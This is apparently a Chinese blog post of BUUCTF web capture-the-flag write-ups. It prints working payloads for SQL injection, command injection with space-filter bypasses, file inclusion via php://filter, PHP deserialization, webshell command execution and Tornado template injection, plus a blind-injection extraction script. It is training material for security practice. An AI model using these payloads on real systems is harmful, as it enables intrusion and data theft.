• BUUCTF-WEB-刷题记录


    题目地址

    https://buuoj.cn/challenges
    
    • 1

    [HITCON 2017]SSRFme

    代码理解

    进入主页后发现是代码审计
    image.png/

    escapeshellarg  — 把字符串转码为可以在 shell 命令里使用的参数
    @ — 抑制错误输出
    mkdir  — 创建目录
    chdir	  更改目录  
    shell_exec  — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。  
    pathinfo — 返回文件路径的信息  
    dirname — 返回路径中的目录部分
    basename — 返回路径中的文件名部分
    file_put_contents — 将一个字符串写入文件  
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    解题

    总的来说关注三行就够了,连起来可以这样理解:
    创建一个目录名为orange+右上角的访客ip的MD5加密值
    d a t a 接受 s h e l l 命令最后写入目录名 / data接受shell命令最后写入目录名/ data接受shell命令最后写入目录名/filename文件名
    image.png
    MD5问题解决
    image.png

    在file协议中有个open可以利用,利用条件是执行命令的时候要有以执行命令命名的文件名

    ?url=file:ls -l /|&filename=ls -l /|
    /sandbox/md5值/ls%20-l%20/%7C
    
    ?url=file:bash -c /readflag|&filename=bash -c /readflag|
    /sandbox/md5值/bash -c /readflag|
    使用bash  -c 是因为直接创建文件名会在更目录,这样访问的时候就找不到了
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    image.png
    image.png
    image.png

    其他总结

    ag命令 ag类似grep 和 find,但是执行效率比后两者高。搜索当前目录下匹配的字段
    
    • 1

    Linux中各个protocol 的处理是在 /usr/share/perl5/LWP/Protocol 下的
    image.png
    参考:+
    [HITCON 2017]SSRFme 1 - WeQi_Blog - 博客园
    HITCON 2017 SSRFme

    [SUCTF 2019]EasySQL

    开始

    进入主页之后发现一个输入框,还有提示:给我输入你的Flag,我告诉你是否正确
    image.png
    尝试输入1发现回显
    image.png
    尝试常用的注入方式无果,最后堆叠注入成功,Flag就在表里
    image.png

    解题

    但是无论怎么样尝试绕过from都失败,我在Google也搜索不到有关的资料,就尝试其他获取flag的方法
    image.png
    发现随便乱输入都是有回显值的,而且回显值是以数组形式出来的
    image.png
    在数组中可以使用逗号分割,可以推断出源代码如下,*代表所有,0占一个位置,最后回显出flag值

    $sql = "select ".$post['query']."||flag from Flag";
    
    • 1

    image.png
    参考:
    BUUCTF Web 1 – SUCTF 2019 EasySQL – 鲜鲜实验室

    [极客大挑战 2019]Knife

    木马连接用法,不会吧,还有人不会这个?“白给的flag”
    image.png

    使用插件

    image.png

    curl命令

    curl -s -v -d "Syc=system('ls /');" 目标ip
    里面有单引号,外面使用双引号,防止重复
    
    -s //post请求
    -v //查看详细
    -d //要传输的数据
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    image.png

    中国蚂蚁

    打开中国蚂蚁,如图添加数据
    image.png
    image.png
    测试连接成功之后添加
    image.png
    flag目录习惯在根目录里
    image.png

    其他总结

    curl用法

    [极客大挑2019]Http

    页面来源请求

    根据题目提示http,打开bp查看http请求的连接发现 /Secret.php
    image.png
    再次请求网站下的Secret.php,它不是来自https://Sycsecret.buuoj.cn
    image.png
    添加Referer:请求头

    Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的
    
    • 1

    http浏览器头

    image.png
    根据回显:请使用“Syclover”浏览器,再次为数据包添加http请求头

    客户端本地请求

    image.png

    添加X-Forwarded-For请求头:HTTP请求ip来源于

    X-Forwarded-For:127.0.0.1
    
    • 1

    image.png

    总结

    Referer:请求来源于上一页的访问的链接,通常译为防盗链。

    [GYCTF2020]Blacklist

    注入点

    输入单引号时报错,说明是字符类型
    image.png
    输入常规的联合注入,没有任何反应
    image.png
    尝试堆叠注入

    1';show tables;
    
    • 1

    image.png
    发现flag应该存在这个表里

    解题

    关于sql手工注入总结可以参考我之前的教程

    https://blog.csdn.net/weixin_53912233/article/details/126622941
    
    • 1

    Payload:

    1';handler FlagHere open as f;handler f read first;
    
    • 1

    获取flag
    image.png

    [MRCTF2020]Ez_bypass

    代码审计

    进入页面查看源代码,如图
    image.png

    
    I put something in F12 for you
    include 'flag.php';
    $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
    if(isset($_GET['gg'])&&isset($_GET['id'])) {
        $id=$_GET['id'];
        $gg=$_GET['gg'];
        if (md5($id) === md5($gg) && $id !== $gg) {
            echo 'You got the first step';
            if(isset($_POST['passwd'])) {
                $passwd=$_POST['passwd'];
                if (!is_numeric($passwd))
                {
                     if($passwd==1234567)
                     {
                         echo 'Good Job!';
                         highlight_file('flag.php');
                         die('By Retr_0');
                     }
                     else
                     {
                         echo "can you think twice??";
                     }
                }
                else{
                    echo 'You can not get it !';
                }
    
            }
            else{
                die('only one way to get the flag');
            }
    }
        else {
            echo "You are not a real hacker!";
        }
    }
    else{
        die('Please input first');
    }
    }Please input first
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    我们只需要看关键函数即可,就能获取flag
    image.png
    第一行代码:
    可以弱数组绕过,id变量和gg变量不能相等

     if (md5($id) === md5($gg) && $id !== $gg) {
    
    • 1

    弱数组绕过:

    ?id[]=1&gg[]=2
    
    • 1

    第二行代码:
    passwd变量不能为数字,且passwd要等于1234567,由于==可以用弱类型绕过

     if (!is_numeric($passwd))
                {
                     if($passwd==1234567)
    
    • 1
    • 2
    • 3

    弱类型绕过:

    passwd=1234567a
    
    • 1

    课外知识点

    Hackbar插件解题

    image.png

    burp suite解题

    由于解题需要post进行传输的,正常解题是需要用到Hackbar插件,如果只能使用抓包呢。因为我刚好做题的时候Hackbar出问题了,导致使用burp suite进行解题,但是我发现就算把GET改为POST还是不能传输POST数据。
    image.png
    添加http请求头即可

    Content-Type: application/x-www-form-urlencoded
    
    • 1

    参考文档:
    Post请求的3种编码格式:application/x-www-form-urlencoded和multipart/form-data和application/json_Hello_Error的博客-CSDN博客_”con.setrequestproperty(\“content-type\”, \“applic

    总结

    考点为弱类型和弱数组比较,遇到困难不要直接试一次,要多试

    [ZJCTF 2019]NiZhuanSiWei

    代码审计

    访问页面,又是代码审计。。。
    image.png

    但也不是很难,我们主要看四个红框就行了,第一个大框框为变量接收,第二个文件内容接收转化为字符串(它说要 严等于右边的字符串),第三个框框为文件包含(可以利用协议进行文件读取),最后一个框框为对变量进行反序列化,说明了最后需要对password进行序列化的操作
    image.png

    协议绕过限制

    关于文件操作安全漏洞,可以参考我之前的文章:

    https://blog.csdn.net/weixin_53912233/article/details/126801617
    
    • 1
    绕过严等于

    为了进行下一步,必须让text变量言等于右边字符串
    利用data协议绕过

    ?text=data://text/plan;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    base64说明了字符格式,最右边是base64的内容
    
    • 1
    • 2

    image.png

    文件包含漏洞

    可以根据题目代码的注释,来对该文件进行内容读取操作
    image.png

    php伪协议利用
    php://filter/convert.base64-encode/resource=文件名 (php伪协议)
    
    • 1

    在上一步的情况下继续读取文件
    添加以下payload:

    &file=php://filter/convert.base64-encode/resource=useless.php
    
    • 1

    回显出base64,解码查看useless.php的源代码
    image.png
    useless.php 源代码如下:

    file)){  
                echo file_get_contents($this->file); 
                echo "
    "; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    序列化

    我可以看见代码最后会file变量的内容,当file变量等于flag.php时,最后进行序列化操作获得payload
    image.png
    payload生成代码:

    file)){  
                echo file_get_contents($this->file); 
                echo "
    "; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag(); echo serialize($a); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    序列化payload:

    O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    
    • 1
    获得flag

    passowd变量用来接收序列化payload,当$file变量=useless.php时就会包含该文件同时执行文件代码
    image.png
    最终Payload:

    ?text=data://text/plan;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    
    • 1

    image.png
    查看源码直接获取flag
    image.png

    总结

    对伪协议和文件包含的知识巩固,懂这些知识点的利用不难的

    [极客大挑战 2019]BuyFlag

    解题

    浏览页面,可以发现一些提示,要购买Flag必须时CUIT的学生,然后密码要正确
    image.png

    查看源代码可以发现提示

    if (isset($_POST['password'])) {
    	$password = $_POST['password'];
    	if (is_numeric($password)) {
    		echo "password can't be number
    "; }elseif ($password == 404) { echo "Password Right!
    "; } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    image.png
    进行php弱类型绕过,404后面加英文,因为user是0,改为1时发现回显,说明有戏
    image.png
    image.png
    根据题目提示它说需要给钱才能有flag,Hacker!
    image.png
    当我给够钱时,它说我太多了,在php中对一个数目进行比较和判断这个函数有可能是strcmp(),它的漏洞就是

    数组绕过

    Payload

    &money[]=    //任意字符
    
    • 1

    image.png

    总结

    习惯要对Cookie的0改为相反值,会有意外效果,还有对strcmp漏洞和is_numeric绕过的了解

    [GXYCTF2019]BabySQli

    信息收集

    首先根据题目提示,我们可以发现这题是和SQL注入有些关系的
    image.png

    在登录框输入一个单引号,可以发现到sql注入的报错,但是双引号没有
    image.png
    image.png
    尝试联合注入,进行枚举列数,发现 ’ order by 3# 被过滤了
    image.png
    image.png
    考虑使用 union select 进行过滤,发现可以
    image.png
    提示列数不足
    image.png
    那么现在在添加一个列数,发现列数是可以了,但是提示用户名错误
    image.png
    image.png
    那么根据提示说明了,sql注入先检查的是用户名,然后再检查密码

    解题

    通过枚举,发现用户名是admin,且为第二列
    image.png
    最后回显的是密码错误
    image.png
    根据提示,我们知道,使用联合查询,放入了admin字符串,居然都能让后端认为是一个合格的用户名,但殊不知它其实是一个精心被恶意篡改的sql语句,使得用户名检查通过。

    那么我们换个角度思考既然第二列是用户名了,union select 联合查询的第三列应该是密码了。那么我们只需要让我们查询的密码,等于我们下方输入框输入的明文密码即可。

    使用联合语句,最后插入一个任意md5的密码即可
    image.png
    payload:

    'union select  1,'admin','698d51a19d8a121ce581499d7b701668'#
    
    • 1

    image.png
    最后可以看见成功登录
    image.png

    [CISCN2019 华北赛区 Day2 Web1]Hack World

    思路

    通过题目提示可以看出是SQL注入
    image.png
    输入1和2会有回显,3则不会
    image.png
    image.png
    想判断是否是数字型,使用or等MySQL的函数均发现被过滤了
    image.png

    原理

    但是MySQL中有一个逻辑运算叫做XOR,具体语法规则为:

    当任意一个操作数为 NULL 时,返回值为 NULL;
    对于非 NULL 的操作数,如果两个操作数都是非 0 值或者都是 0 值,则返回值为 0;
    如果一个为0值,另一个为非 0 值,返回值为 1。
    
    • 1
    • 2
    • 3

    XOR被过滤了,我们可以使用这个符号进行代替 ^
    image.png
    可以看见2亦或3的返回结果为1的结果,在亦或中,0 ^ 1 等于真,相反为假。也可以使用if语句进行

    if(1,1,2)
    
    • 1

    我们可以利用这个亦或判断真假的条件,然后带入sql注入语句中,然后判断是否正确即可:

    解题

    所以构造payload:

    0^(ascii(substr((select(flag)from(flag)),1,1))=102)
    
    • 1

    如果亦或为真,则payload指定的ASCII码正确,否则错误
    下面是获取flag简单的python脚本:

    import requests
    
    session = requests.Session()
    url = "http://9f2bb0a8-d6e3-4b71-906f-8667cdf48077.node4.buuoj.cn:81/index.php"
    
    flag = ""
    for i in range(1,60):
        print(f"正在枚举第{i}个位置")
        for j in range(0,128):
            payload = {f"id": "0^(ascii(substr((select(flag)from(flag)),%d,1))=%d)" %(i,j)}
            # print(payload)
            respone = session.post(url,data=payload,timeout=30)
            st = chr(j)
            if "Hello" in respone.text:
                flag += st
                print(f"第{i}个位置的字符为{st}")
                break
    print(flag)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    可能会因为网络原因导致,有些字符串的位置读取不出来
    flag:

    flag{69082bb1-7a37-4bd5-8bfd-b0ded6381d82}
    
    • 1

    总结

    当一方为假的时候可以利用这个条件使用亦或判断,然后构造正确的sql语句,然后才能进行执行。

    [GXYCTF2019]Ping Ping Ping

    解题

    根据题目提示,可以知道是执行命令绕过的考点
    image.png
    现在来尝试命令执行
    image.png
    尝试读取flag.php中的内容

    内联执行+反引号

    payload:

    127.0.0.1|cat$IFS`ls`
    
    • 1

    $IFS 的作用是空格绕过,下面是关于其他空格绕过的方式:

    %09 //url传递
    $IFS
    ${IFS}
    $IFS$数字 
    < 
    <> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    反引号的作用是把里面的输出,导入进cat命令中,最后执行
    image.png

    变量拼接

    payload:

    /?ip=127.0.0.1;a=g;cat$IFS$@fla$a.php
    
    • 1
    • $@ 代表的是空变量

    关于其他的空变量,还有以下方式:

    l$*s
    l$@s | ls$*s
    l$5s
    l${5}t
    
    • 1
    • 2
    • 3
    • 4
    • a=g 指的是g字符串,代入到a变量中

    image.png

    base64编码绕过

    payload:

    /?ip=127.0.0.1;echo$IFS$@Y2F0IGZsYWcucGhw|base64$IFS$@-d|sh
    
    • 1

    [强网杯 2019]随便注

    思路

    输入单引号发现道理MySQL的报错语句,说明可能存在注入点
    image.png
    想使用联合查询,但是这些函数的大小写都已经被过滤了
    image.png
    只能尝试换个思路,试试堆叠注入,是否可以
    image.png
    发现可以查看表的内容
    image.png
    查看表中的列名

    ';show columns from `1919810931114514`;
    
    • 1

    发现存在flag的关键字

    解题

    不懂的可以具体参考我之前写过的:

    https://blog.csdn.net/weixin_53912233/article/details/126622941?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22126622941%22%2C%22source%22%3A%22weixin_53912233%22%7D
    
    • 1

    Payload:

    ';Set @a=concat('sel','ect flag from `1919810931114514`;');prepare hh from @a;execute hh;
    
    • 1

    最后使用预处理语句,查看表中的flag列里的内容,从而获取flag。使用concat是为了绕过,代码的过滤检测
    image.png

    [极客大挑战 2019]Secret File

    思路

    通过抓包,在返回包看见隐藏的提示文件

    secr3t.php
    
    • 1

    image.png
    然后访问该文件名,发现考点是代码审计,但是主要过滤了这些字符串及协议流
    image.png

    解题

    Payload:

    /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
    
    • 1

    使用伪协议,可以直接读取flag.php文件
    image.png
    最后解码就可以获取到flag
    image.png

    [极客大挑战 2019]HardSQL

    思路

    根据尝试发现过滤了,空格和 = 号
    payload:

    'or(true)#
    
    • 1

    可以发现登录成功
    image.png
    空格绕过可以尝试使用括号代替,等于号可以使用 like 代替,使用报错注入,发现可以成功:

    'or(updatexml(1,concat(0x7e,(database()),0x7e),1))#
    
    • 1

    image.png

    解题

    后面都是常规的查表,查列:

    'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
    'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
    
    • 1
    • 2

    最后查询password列,可以得出flag值。但是由于报错注入,回显的字符最多是31位,所以还需要使用right函数,查询右边的字符串

    'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#
    'or(updatexml(1,concat(0x7e,right((select(group_concat(password))from(H4rDsq1)),31),0x7e),1))#
    
    • 1
    • 2

    image.png
    image.png

    [MRCTF2020]Ez_bypass

    解题

    直接查看源代码
    image.png
    可以看见一共有两个关键的判断语句,判断通过的时候,就会输出flag。第一个红框框可以通过数组绕过,第二个红框框由于是弱类型,所以可以通过数字加字母拼接从而绕过,不过接受变量必须是POST请求
    image.png

    [护网杯 2018]easy_tornado

    思路

    进去之后可以看见有三个文件
    image.png
    打开flag.txt 可以发现,要打开对应的文件,必须也有对应的md5值
    image.png
    打开welcome.txt,可以发现提示有模板注入
    image.png
    打开hints.txt,给了一个获取对应文件名的MD5值获取的方式,现在我们可以发现唯一缺少的是cookie_secret值。只要有了这个值,我们就可以构造MD5值,最后读取所需要的文件,就可以获取flag值
    image.png
    根据前面的welcome.txt 可以推测出,我们可以通过模板注入获取 cookie_secret 值,再通过题目的名字可以推测出框架是 tornado

    解题

    我们只需要在传参值,filename后面随便输入。就可以发现到SSTI的注入点

    /file?filename=aa
    
    • 1

    image.png
    进一步确认了,存在ssti漏洞

    /error?msg={{100}}
    
    • 1

    image.png
    获取cookie_secret,输入以下payload:

    {{handler.settings}}
    
    • 1

    image.png
    现在我们所需要的条件都拥有了,是时候构造MD5值了。

    
    
    • 1
    • 2
    • 3
    • 4

    最后将hash与filename分别填入对应的内容即可
    image.png

  • 相关阅读:
    安装Java (JDK16)
    springboot实现java线程池
    常见的锁策略
    JavaEE:线程安全问题的原因和解决方案
    【3d游戏开发】使用Babylonjs+Vue3搭建属于我们的小岛
    css实现tab选项 cv代码直接看效果
    卸载MIUI13内置百度输入法
    linux之/etc/skel目录
    关于产研项目管理的一些思考与记录
    【Linux学习】05-2Linux上部署项目
  • 原文地址:https://blog.csdn.net/weixin_53912233/article/details/133459407